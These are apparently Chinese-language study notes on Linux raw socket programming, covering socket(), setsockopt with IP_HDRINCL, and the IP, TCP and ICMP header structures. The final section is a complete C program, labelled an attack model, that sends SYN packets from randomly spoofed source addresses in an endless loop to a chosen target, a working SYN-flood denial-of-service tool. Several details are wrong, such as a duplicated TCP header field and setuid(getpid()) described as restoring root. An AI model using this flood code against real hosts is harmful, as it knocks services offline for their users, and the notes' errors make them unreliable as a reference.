原始套接字编程

  1. struct socket {
  2. socket_state state;
  3. unsigned long flags;
  4. const struct proto_ops *ops;//指定当前socket是什么协议
  5. struct fasync_struct *fasync_list;
  6. struct file *file;
  7. struct sock *sk;
  8. wait_queue_head_t wait;
  9. short type;
  10. };
  11. const struct proto_ops;结构体是一个函数集合,指定当前 套接字 链接 绑定 等等的操作函数

socket() 创建套接字函数

int socket(int domain, int type, int protocol);

  • 头文件:#include
  • domain: IP 地址类型 , AF_INET AF_INET6
  • type: 为数据传输方式, SOCK_STREAM SOCK_DGRAM
  • protocol :传输协议 0 表示默认 SOCK_RAW 原始套接字
  1. 如果 type 参数填 SOCK_STREAM protocol 默认为IP通信协议
  2. 如果 type 参数填 SOCK_RAW 表示原始套接字 protocol 则可以自己设置协议

protocol : 协议类型有

  1. enum {
  2. IPPROTO_IP = 0, //Dummy protocol for TCP
  3. IPPROTO_ICMP = 1, //Internet Control Message Protocol
  4. IPPROTO_IGMP = 2, //Internet Group Management Protocol
  5. IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
  6. IPPROTO_TCP = 6, //Transmission Control Protocol
  7. IPPROTO_EGP = 8, //Exterior Gateway Protocol
  8. IPPROTO_PUP = 12, /* PUP protocol */
  9. IPPROTO_UDP = 17, /* User Datagram Protocol */
  10. IPPROTO_IDP = 22, //XNS IDP protocol
  11. IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
  12. IPPROTO_RSVP = 46, // RSVP protocol
  13. IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
  14. IPPROTO_IPV6 = 41, //IPv6-in-IPv4 tunnelling
  15. IPPROTO_ESP = 50, /* Encapsulation Security Payload protocol */
  16. IPPROTO_AH = 51, //Authentication Header protocol
  17. IPPROTO_BEETPH = 94, /* IP option pseudo header for BEET */
  18. IPPROTO_PIM = 103, /* Protocol Independent Multicast */
  19. IPPROTO_COMP = 108, //Compression Header protocol
  20. IPPROTO_SCTP = 132, //Stream Control Transport Protocol
  21. IPPROTO_UDPLITE = 136, //UDP-Lite (RFC 3828)
  22. IPPROTO_RAW = 255, // Raw IP packets
  23. IPPROTO_MAX
  24. };

设置原始套接字还是需要使用 setsocketopt() 函数来设置

setsockopt() 设置选择值

**int setsockopt(int sock, int level, int optname, const void optval, socklen_t optlen);

  • 头文件 :#include
  • sock:将要被设置套接字
  • level:套接字接口类型(章节)
  • optname:设置的章中的哪一个节
  • optval: 指向包含新选项值的缓冲
  • optlen:缓冲 长度
  • 返回值:成功为0
    失败 -1

而 要实现 原始套接字类型 自己定义socke信息就需要把

  1. level = IPPROTO_IP
  2. optname = IP_HDRINCL

只要开启这两选项 就可以自己修改 socke

struct ip ip协议结构体

ip协议结构体

  • 头文件: #include
  1. struct ip
  2. {
  3. unsigned int ip_v:4; //版本
  4. unsigned int ip_hl:4; //头长度
  5. uint8_t ip_tos; //服务类型
  6. unsigned short ip_len; //总长度 htons()
  7. unsigned short ip_id; //标识
  8. unsigned short ip_off; //片段偏移字段
  9. uint8_t ip_ttl; //生存时间
  10. uint8_t ip_p; //协议
  11. unsigned short ip_sum; //校验和
  12. struct in_addr ip_src, ip_dst;//源地址和目标地址
  13. };

struct tcp tcp协议结构体

  • 头文件:#include
  1. struct tcphdr {
  2. __be16 source; //源端口
  3. __be16 dest; //目的端口
  4. __be32 seq; //只要填 random() pid号
  5. __u16 res1:4,
  6. doff:4,
  7. fin:1,
  8. syn:1,
  9. rst:1,
  10. psh:1,
  11. ack:1,
  12. urg:1,
  13. ece:1,
  14. cwr:1;
  15. __be16 doff; // 5-10随便填
  16. __be32 ack_seq; //指定的是下一个期望接收的字节
  17. __be16 window; //是16位滑动窗口的大小,单位为字节
  18. __sum16 check; //是检验和,覆盖了整个的TCP报文段
  19. __be16 urg_ptr; //这个域被用来指示紧急数据在当前数据段中的位置
  20. }

ICMP协议

ICMP协议包括 Ping 协议,OSPF协议

traceroute 协议 是路径探测协议

getprotobyname() 返回协议序号

忘记了协议的宏定义 可以使用这个函数来返回 宏定义的值

  • 参数1:输入协议名
  • 返回值:int
  1. int protoclo = getprotobyname("icmp");
  2. socket(AF_INET,SOCK_RAW,protoclo);
  3. // protoclo == IPPROTO_ICMP

struct icmphdr

  • 头文件:#include
  • socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
  1. struct icmp
  2. {
  3. uint8_t icmp_type; //消息类型
  4. uint8_t icmp_code; //类型子代码
  5. uint16_t icmp_cksum; //一个补充结构的校验和 check_sum()
  6. uint16_t icd_id; //当前程序PID
  7. uint16_t icd_seq; //序号 发送的第几个包
  8. unsigned long i_timestamp;//当前时间
  9. icmp_data;//数据段
  10. };

uint8_t icmp_type; //消息类型有

宏定义 含义
ICMP_ECHOREPLY 0 回送应答
ICMP_DEST_UNREACH 3 目标不可达
ICMP_SOURCE_QUENCH 4 原点抑制
ICMP_REDIRECT 5 重定向/改变路由
ICMP_ECHO 8 回送请求
ICMP_NET_ANO 9 路由器公告
ICMP_HOST_ANO 10 路由器请求
ICMP_NET_UNR_TOS 11 超时
ICMP_ADDRESS 17 地址子网请求
ICMP_ADDRESSREPLY 18 地址子网应答

struct timeval

  1. struct timeval
  2. {
  3. __time_t tv_sec; /* Seconds. */
  4. __suseconds_t tv_usec; /* Microseconds. */
  5. };

给重新设置ROOT权限

setuid(getpid());

syn 包发送 / DNS攻击模型

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <errno.h>
  4. #include <string.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10. #include <netinet/ip.h>
  11. #include <arpa/inet.h>
  12. #include <linux/tcp.h>
  13. //我们自己写的攻击函数
  14. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
  15. //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
  16. unsigned short check_sum(unsigned short *addr,int len);
  17. int main(int argc,char** argv){
  18. // args[1] 目标地址 args[2] 目标端口 args[3] 本地端口
  19. int skfd;
  20. struct sockaddr_in target;
  21. struct hostent *host;
  22. const int on=1;
  23. unsigned short srcport;
  24. if(argc!=4)
  25. {
  26. printf("Usage:%s target dstport srcport\n",argv[0]);
  27. exit(1);
  28. }
  29. //DNS协议解析
  30. bzero(&target,sizeof(struct sockaddr_in));
  31. target.sin_family=AF_INET;
  32. target.sin_port=htons(atoi(argv[2]));
  33. if(inet_aton(argv[1],&target.sin_addr)==0)
  34. {
  35. host=gethostbyname(argv[1]);
  36. if(host==NULL)
  37. {
  38. printf("TargetName Error:%s\n",hstrerror(h_errno));
  39. exit(1);
  40. }
  41. target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  42. }
  43. //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
  44. if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
  45. perror("Create Error");
  46. exit(1);
  47. }
  48. //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
  49. if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
  50. perror("IP_HDRINCL failed");
  51. exit(1);
  52. }
  53. //因为只有root用户才可以play with raw socket :)
  54. setuid(getpid());
  55. srcport = atoi(argv[3]);
  56. attack(skfd,&target,srcport);
  57. }
  58. //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
  59. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
  60. char buf[128]={0};
  61. struct ip *ip;
  62. struct tcphdr *tcp;
  63. int ip_len;
  64. //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
  65. ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
  66. /* 此是IP头长度 此是tcpt头长度 */
  67. //开始填充IP首部
  68. ip=(struct ip*)buf;
  69. ip->ip_v = IPVERSION; // IP版本号
  70. ip->ip_hl = sizeof(struct ip)>>2; // TCP ip 长度
  71. /* IP长度计算方法,IP头的长度除4取整,也就是右移两位*/
  72. ip->ip_tos = 0; //
  73. ip->ip_len = htons(ip_len); // 整个数据包的长度
  74. ip->ip_id=0;
  75. ip->ip_off=0;
  76. ip->ip_ttl=MAXTTL;
  77. ip->ip_p=IPPROTO_TCP; // ip协议
  78. ip->ip_sum=0;
  79. ip->ip_dst=target->sin_addr; //目的 IP
  80. //开始填充TCP首部
  81. tcp = (struct tcphdr*)(buf+sizeof(struct ip));
  82. tcp->source = htons(srcport); //源端口
  83. tcp->dest = target->sin_port; //目的端口
  84. tcp->seq = random(); //只要填 random()
  85. tcp->doff = 5;
  86. tcp->syn = 1; // 根据协议来设置
  87. tcp->check = 0;
  88. while(1){
  89. //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
  90. ip->ip_src.s_addr = random();
  91. tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
  92. sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
  93. }
  94. }
  95. // 此计算 check 的算法固定
  96. unsigned short check_sum(unsigned short *addr,int len){
  97. register int nleft=len;
  98. register int sum=0;
  99. register short *w=addr;
  100. short answer=0;
  101. while(nleft>1)
  102. {
  103. sum+=*w++;
  104. nleft-=2;
  105. }
  106. if(nleft==1)
  107. {
  108. *(unsigned char *)(&answer)=*(unsigned char *)w;
  109. sum+=answer;
  110. }
  111. sum=(sum>>16)+(sum&0xffff);
  112. sum+=(sum>>16);
  113. answer=~sum;
  114. return(answer);
  115. }

netstat -aptn | grep prot

协议的学习方式

1. 静态:学习协议结构的分析

2. 动态: